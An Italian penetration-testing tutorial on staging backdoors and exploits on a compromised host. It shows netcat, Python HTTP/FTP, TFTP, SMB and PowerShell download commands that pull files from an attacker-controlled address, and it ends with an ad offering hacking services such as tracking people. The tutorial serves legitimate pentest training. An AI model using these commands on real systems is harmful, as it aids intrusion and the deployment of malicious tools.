Dopo parecchi tentativi siamo finalmente riusciti ad ottenere un shell completa sull’host da compromettere, riusciamo ad eseguire comandi e compilare i programmi, ma la vittima non ha accesso a internet e dobbiamo passare file sulla macchina compromessa. Come ci comportiamo?

Durante dei penetration test è possibile che capiti di dover trasferire file sull’host compromesso, ad esempio backdoor, exploit o tool che ci possono servire per analizzare e compromettere delle reti interne. In questo articolo andremo ad analizzare i metodi più efficaci per trasferire dei file tramite la rete, sia su macchine Linux che su Windows.

Da Linux a Linux

Metodo 1 – Netcat

Uno dei metodi che prediligo, seppure banale e prono ad errori, è quello di utilizzare sulla macchina attaccante netcat, mentre sulla vittima wget (o curl). La connessione è molto semplice

┌─[mrtouch@parrot]─[~] └──╼ $  cat dirty.c | nc -lp 4444

Con questo comando sto inviando il file sulla porta 4444 a chiunque si connetta sul mio server TCP aperto con netcat. Sulla macchina vittima eseguirò

wget IP-attaccante:4444 -O dirty.c

Trasferimento di un file con netcat

Metodo 2 – HTTP

Un metodo più elegante è quello di creare un server con python e scaricare, tramite browser o da riga di comando, il file reso disponibile dalla macchina attaccante. Python ha un comando semplicissimo per fare ciò, che è

┌─[mrtouch@parrot]─[~]  └──╼ $  python -m SimpleHTTPServer 8888

Una volta eseguito, dall’host vittima basta aprire il browser (o usare il terminale), andare sulla porta 8888 dell’attaccante e scaricare il file. Per poter rendere disponibile il file, ricordatevi che il server dev’essere avviato dalla cartella in cui si trova!

Trasferimento di un file con python

Metodo 3 – FTP

Sempre sulla scia della scorsa modalità, python mette a disposizione anche un server FTP. Molto simile al comando scorso, l’attaccante rende disponibile il file sulla porta 21

┌─[mrtouch@parrot]─[~]  └──╼ $  python -m pyftpdlib -p 21

Dalla macchina vittima basterà connettersi da browser o tramite il comando

ftp IP-attaccante

con user:anonymous e password vuota

Trasferimento di un file con FTP

Metodo 4 – Netcat inverso

Un’altra modalità, molto simile al primo metodo, è quella di non usare il comando cat ma inviare il file direttamente da netcat. Questo è possibile grazie all’utilizzo della redirezione dell’output di Linux (simbolo <). L’attaccante esegue

┌─[mrtouch@parrot]─[~/server] └──╼$  nc IP-vittima 5555 < dirty.c

mentre la vittima si mette in ascolto

nc -lvp 5555 > dirty.c

Trasferimento di un file con netcat

Questa modalità è praticamente l’inverso del primo metodo, in quanto stavolta è la vittima a mettersi in ascolto e l’attaccante invia il file all’indirizzo IP specificato.

Da Linux a Windows

Metodo 1 – HTTP

Il metodo numero due precedentemente illustrato funziona ovviamente anche con un host Windows, basta utilizzare il browser.

Trasferimento di un file a Windows con Python

Metodo 2 – FTP

Come prima, i comandi sono esattamente gli stessi. Attaccante,

┌─[mrtouch@parrot]─[~/server] └──╼ $  python -m pyftpdlib -p 21

Vittima

ftp IP-attaccante

Trasferire file a Windows con FTP

Metodo 3 – TFTP (UDP)

Metasploit mette a disposizione un comodo server TFTP che permette di scaricare i file da Windows. Nelle nuove versioni di Windows non è disponibile di default, ma per poter eseguire il comando di download/upload basta digitare

pkgmgr /iu:"TFTP"

e verrà abilitato il tool tftp.

Il modulo di metasploit è auxiliary/server/tftp e l’unica opzione obbligatoria è la cartella che si andrà a rendere disponibile contenente i file.

Trasferimento di un file con TFTP

Metodo 4 – SMB

Grazie ad Impacket possiamo creare un server SMB su Linux e condividere i file con un server SMB. Una volta installato si può avviare il server con il comando

┌─[mrtouch@parrot]─[~/server] └──╼ $  sudo smbserver.py SHRNAME smbfiles/

dove smbfiles è la cartella che vogliamo condividere sulla rete. Una volta avviato, sulla macchina Windows potremo visionare i file e scaricarli, tramite i seguenti comandi

C:> net view \IP-attaccante C:>dir \IP\SHRNAME C:>copy \IP\SHRNAME\file.exe

Trasferimento di file con SMB

Metodo 5 – HTTP con Powershell

Metodo abbastanza particolare, ma utile nel caso in cui non si possa usare il browser e non si riesca ad ottenere i files. Da Linux eseguiamo sempre

┌─[✗]─[mrtouch@parrot]─[~/server] └──╼ $  python -m SimpleHTTPServer 8080

mentre da Windows eseguiremo il seguente comando

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://IP-attaccante\file.exe','C:\Users\wind7\Desktop\file.exe')"

Trasferire file a Windows con Powershell

Conclusioni

La domanda che magari ci si potrebbe porre è quale dei metodi elencati è il migliore, ma la risposta è….dipende. Dipende dalla shell creata, dipende dall’infrastruttura in cui si è e dalla presenza o meno di firewall che potrebbero bloccare certi tipi di connessioni. Alcuni approfondimenti si possono comunque trovare a questo e questo link.

Hits: 579

Facebooktwitterredditlinkedintumblrmail

L’articolo Trasferire file tra due host (Linux-Linux e Linux-Windows) proviene da HackTips.

HackTips


Stai cercando prodotti per l’hacking, la sicurezza informatica e il penetration testing? Hai bisogno di bonificare il tuo smartphone, il tuo pc o il tuo sito da virus e malware? Devi rintracciare una persona o recuperare delle informazioni urgenti? Devi riprendere possesso di un account, una mail o di una password che ti hanno sottratto? Vuoi acquistare device già configurati per sperimentare tutte le tecniche di hacking in modo facile e veloce? Hai esigenze particolari in ambito software o hardware? Possiamo aiutarti!

Contattaci subito per avere un aiuto immediato : dettagliaci tramite mail o Whatsapp che tipo di supporto ti occorre e ti invieremo un riscontro immediato!

Compila e invia il modulo qui sotto per inviarci subito una richiesta di supporto

Scrivi il tuo indirizzo email qui

Scrivi qui come possiamo aiutarti – ti supportiamo immediatamente per ogni tua esigenza!